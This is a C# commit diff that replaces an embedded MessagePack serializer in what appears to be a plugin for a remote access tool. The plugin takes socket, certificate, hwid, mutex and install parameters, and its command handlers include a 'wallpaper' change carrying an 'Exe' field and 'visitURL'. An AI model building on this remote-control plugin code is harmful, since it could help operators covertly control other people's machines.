public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return Zip.Compress(r);
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

View File

@ -1,24 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

View File

@ -1,84 +0,0 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToUInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

View File

@ -1,199 +0,0 @@
using System;
using System.IO;
namespace Plugin.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

View File

@ -1,8 +1,9 @@
using Plugin.Handler;
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Management;
@ -23,6 +24,12 @@ namespace Plugin
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "wallpaper":
{
new Wallpaper().Change(unpack_msgpack.ForcePathObject("Image").GetAsBytes(), unpack_msgpack.ForcePathObject("Exe").AsString);
break;
}
case "visitURL":
{
string url = unpack_msgpack.ForcePathObject("URL").AsString;

View File

@ -1,17 +1,11 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net.Security;
using System.Diagnostics;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public class Plugin
public class Plugin
{
public static Socket Socket;
public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install)

View File

@ -1,45 +0,0 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="ILMerge" version="3.0.29" targetFramework="net40" />
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net40" />
</packages>

View File

@ -1,5 +1,5 @@
using Plugin.Handler;
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
@ -196,6 +196,7 @@ namespace Plugin
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}

View File

@ -1,5 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
<Import Project="..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
@ -45,16 +47,32 @@
<ItemGroup>
<Compile Include="Connection.cs" />
